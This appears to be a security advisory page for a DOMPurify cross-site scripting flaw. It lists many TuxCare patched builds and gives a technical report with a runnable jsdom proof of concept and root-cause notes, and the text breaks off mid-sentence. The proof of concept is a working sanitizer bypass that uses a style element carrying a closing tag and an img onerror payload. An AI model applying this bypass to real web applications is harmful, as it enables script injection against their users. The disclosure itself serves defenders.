CVE-2026-109345

DOMPurify before 3.4.16 contains a cross-site scripting vulnerability that allows attackers to bypass sanitization because IN_PLACE mode returns a force-removed style element whose text content still carries markup. Attackers can supply a style element containing a closing style tag and an img onerror payload, which executes script when the application serializes and re-parses the returned node.

DOMPurify before 3.4.16 contains a cross-site scripting vulnerability that allows attackers to bypass sanitization because IN_PLACE mode returns a force-removed style element whose text content still carries markup. Attackers can supply a style element containing a closing style tag and an img onerror payload, which executes script when the application serializes and re-parses the returned node.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.3.0-tuxcare.6.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.4.7-tuxcare.6.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.5.8-tuxcare.8.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.5.9-tuxcare.8.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.3-tuxcare.6.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.6-tuxcare.9.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.2.3-tuxcare.5.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.2.7-tuxcare.4.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.8-tuxcare.5.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.2.6-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.3.3-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.4-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.2-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.0.8-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.3-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.4.0-tuxcare.6.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.1-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.3.10-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.2-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.3.3-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.1-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.0-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.11-tuxcare.1.

TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.0.9-tuxcare.1.

TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.0.8-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.6-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.5-tuxcare.1.

TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 3.4.5-tuxcare.2.

TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.4.9-tuxcare.2.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.4-tuxcare.1.

TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 3.1.3-tuxcare.2.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.1-tuxcare.2.

TuxCare rebuilt dompurify to address 5 CVEs. Fixed in 3.4.6-tuxcare.2.

TuxCare rebuilt dompurify to address 4 CVEs. Fixed in 3.4.7-tuxcare.2.

TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.4.11-tuxcare.2.

TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.10-tuxcare.2.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.14-tuxcare.2.

TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.4.13-tuxcare.1.

TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.4.15-tuxcare.1.

TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 3.4.0-tuxcare.1.

TuxCare rebuilt dompurify to address 4 CVEs. Fixed in 3.4.12-tuxcare.3.

Environment

• dompurify 3.4.15 (current npm release); reproduced independently on jsdom 30.0.1 and 29.1.1 (Node.js 20.x / 26.x)
• Config: DOMPurify.sanitize(node, { IN_PLACE: true }) on a Node input; SAFE_FOR_XML at its default (true)

Summary

The 3.4.9 fix for the IN_PLACE detached-root class added two protections on the IN_PLACE return path: a fail-closed TypeError in _forceRemove when a node selected for removal cannot be detached, and a _neutralizeSubtree pass (dist/purify.js line 1336) that strips non-allowlisted attributes from removed subtrees.

Both miss the rawtext text-content form. When the force-removed root is a rawtext element (<style>), the payload lives in the node's text: the node detaches fine (the TypeError guard is not reached), _neutralizeSubtree strips nothing (there are no attributes), and the IN_PLACE exit returns the detached, never-sanitized <style> whose text still carries live markup. Serializing that node and re-parsing it in plain HTML context materializes the payload — no foreign-content context required.

The same Node input sanitized without IN_PLACE returns an empty result: the only difference is the IN_PLACE return path handing the killed node back.

Steps to reproduce

const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');   // 3.4.15

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

const styleRoot = window.document.createElement('style');
styleRoot.setAttribute('onclick', 'alert(1)');    // attribute payload
styleRoot.textContent = '</style><img src=x onerror=1>';  // text payload
window.document.body.appendChild(styleRoot);

const returned = DOMPurify.sanitize(styleRoot, { IN_PLACE: true });

console.log(returned === styleRoot);                       // true (same node)
console.log(styleRoot.parentNode === null);                // true (detached)
console.log(styleRoot.outerHTML);
// <style></style><img src=x onerror=1></style>
console.log(styleRoot.getAttribute('onclick'));            // null  (attribute neutralized)
console.log(styleRoot.textContent);                        // '</style><img src=x onerror=1>' (text survives)

// plain HTML reparse (no foreign-content context involved):
const probe = window.document.createElement('div');
probe.innerHTML = returned.outerHTML || styleRoot.outerHTML;
console.log(probe.querySelectorAll('img').length);         // 1
console.log(probe.querySelector('img').getAttribute('onerror')); // "1"

Observed on 3.4.15: one node, one call — the onclick attribute is neutralized while the text payload (</style><img src=x onerror=1>) survives verbatim; serializing and re-parsing the returned node in plain HTML context materializes the img with the live onerror handler.

Contrast on the same Node input without IN_PLACE: RETURN_DOM: true → <body></body>; RETURN_DOM_FRAGMENT: true → 0 children — the payload is fully sanitized away. The only difference is the IN_PLACE return path.

Contrast on the removal trigger: SAFE_FOR_XML: false → the node is not removed (detached stays false); plain CSS text → not removed. The removal is gated by the mXSS text probes and happens specifically because the serialized node would re-open tags on reparse.

Root cause

_isUnsafeNode (dist/purify.js 3.4.15, lines 1700–1714) removes nodes whose literal text would re-open tags on reparse — shape (b) in the source comment is "text-only content that already carries the element's OWN end tag", detected by the LITERAL_TEXT_CLOSE probe (line 385) alongside the ELEMENT_MARKUP_PROBE (line 339) rules. _forceRemove (line 1122) records the node in DOMPurify.removed ({element}) and detaches it. The removal is intentional: the upstream comment states these shapes are removed because the literal serializer emits them verbatim for the HTML parser to re-open.

The IN_PLACE exit then hands the force-removed root…